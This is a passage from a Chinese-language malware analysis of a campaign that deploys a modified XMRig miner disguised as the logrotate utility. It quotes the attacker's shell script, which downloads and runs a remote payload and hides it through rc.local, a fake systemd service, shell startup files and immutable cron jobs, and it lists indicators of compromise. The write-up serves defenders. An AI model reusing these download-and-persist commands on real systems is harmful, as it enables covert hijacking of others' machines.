"$HOME/.config/logrotate""$URL" || curl -sL -o "$HOME/.config/logrotate""$URL"; } >/dev/null 2>&1 chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1}pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"add_to_startup() { if [ -r "$1" ]; then if ! grep -Fxq "$EXEC >/dev/null 2>&1""$1"; then echo"$EXEC >/dev/null 2>&1" >> "$1" fi fi}case"$(ps -p $$ -o comm=)"in bash) add_to_startup "$HOME/.bashrc" add_to_startup "$HOME/.bash_logout" ;; zsh) add_to_startup "$HOME/.zshrc" ;;esac[ "$(id -u)" -eq 0 ] && { RCLOCAL='' [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local' [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local' [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL" cat >/etc/systemd/system/logrotate.service <<EOL[Unit]Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files[Service]ExecStart=$HOME/.config/logrotateRestart=alwaysNice=-20StandardOutput=null[Install]WantedBy=multi-user.targetEOL sudo systemctl daemon-reload 2>/dev/null sudo systemctl enable logrotate.service 2>/dev/null [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo"@daily $EXEC" >> /var/spool/cron/root 2>/dev/null [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo"@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null [ -f /etc/crontab ] && echo"@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null [ -d /etc/cron.hourly ] && echo"$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null [ -d /etc/cron.daily ] && echo"$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null [ -d /etc/cron.weekly ] && echo"$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null [ -d /etc/cron.monthly ] && echo"$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null [ -d /etc/cron.yearly ] && echo"$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null}
|
||||
```
|
||||
|
||||
|
||||
logrotate 二进制文件
|
||||
|
||||
如前所述，攻击者以logrotate为名部署了恶意负载，可能是为了与同名的合法系统实用程序混为一谈，避免引起怀疑。实际上，这个logrotate二进制文件是 XMRig 的修改版本。XMRig 是一个合法的开源加密货币挖矿程序，不出所料，它仍然是威胁行为者进行未经授权的加密货币挖矿的首选。作为开源软件，XMRig 为攻击者提供了轻松定制的便利，在本例中，这涉及剥离所有命令行解析逻辑并对配置进行硬编码。这种调整不仅简化了部署，还使负载能够更逼真地模拟原始的logrotate过程。
|
||||
|
||||
持久性机制
|
||||
|
||||
获得执行权限后，攻击者设置了多种持久化机制。我们观察到这些机制结合使用了老式启动脚本、现代 systemd 服务、cron 作业和 shell 配置文件：
|
||||
|
||||
RC 本地
|
||||
|
||||
他们首先检查 Linux 发行版并修改相应的启动文件：
|
||||
|
||||
```
|
||||
RCLOCAL=''[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
|
||||
```
|
||||
|
||||
|
||||
系统服务
|
||||
|
||||
接下来，攻击者投放了一个伪装成的虚假 systemd 服务logrotate。实际上，它只是指向他们的恶意二进制文件，并设置为持续重启：
|
||||
|
||||
```
|
||||
[Unit]Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files[Service]ExecStart=$HOME/.config/logrotateRestart=alwaysNice=-20StandardOutput=null[Install]WantedBy=multi-user.target
|
||||
```
|
||||
|
||||
|
||||
Shell启动脚本
|
||||
|
||||
为了在终端登录或注销时触发有效载荷，他们将其附加到特定于用户的 shell 配置文件中：
|
||||
|
||||
```
|
||||
case "$(ps -p $$ -o comm=)" in bash) add_to_startup "$HOME/.bashrc" add_to_startup "$HOME/.bash_logout" ;; zsh) add_to_startup "$HOME/.zshrc" ;;esac
|
||||
```
|
||||
|
||||
|
||||
计划任务
|
||||
|
||||
最后，攻击者创建了跨多个位置和时间间隔的 cron 作业。
|
||||
|
||||
```
|
||||
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
|
||||
```
|
||||
|
||||
|
||||
IoC
|
||||
|
||||
```
|
||||
a923de9df0766d6c4be46191117b8cc6486cf19c SHA-1logservice.sh1879d5fa0c2ca816fcb261e96338e325e76dca09SHA-1logservice.sh18d83ba336ca6926ce8b9d68f104cff053f0c2f9SHA-1o.sh-attackscript815bc1a79440cdc4a7e1d876ff2dc7bc4f53d25eSHA-1logrotate0851a95d46f035c7759782299422bcfd794e2aecSHA-1logrotate7074d674d120d19aa7e44e29dd126af152ccdb7cSHA-1logrotate2d4a23e861ef41df6953195fa4cda115e37a7218SHA-1logrotatebaf0a3b92225f56499c6879b176a3d6163b9d3efSHA-1logrotateea7c97294f415dc8713ac8c280b3123da62f6e56SHA-1XMRig6.22185.196.8[.]123IPFileServer185.196.8[.]86IPPayloadsFileServer176.65.148[.]57IPJDWPscanner176.65.148[.]86IPJDWPscanner176.65.148[.]239IPJDWPscanner185.208.156[.]247:3333IPMiningPool185.196.8[.]41IPMiningPoolhttps://awarmcorner[.]world Domain Payloads File Serverhttps://aheatcorner[.]world Domain Previous Payloads File Serverhttps://canonicalconnect[.]com Domain Payloads File Serverhttps://cozy[.]yachts Domain Previous Payloads File Serverhttps://s3.tebi[.]io/dhcpdc/o.sh URL Payload URL
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
来阅读本文
|
||||
|
||||
|
||||
|
||||
**点它，分享点赞在看都在这里**
|
||||
|
||||
Reference in new issue
Block a user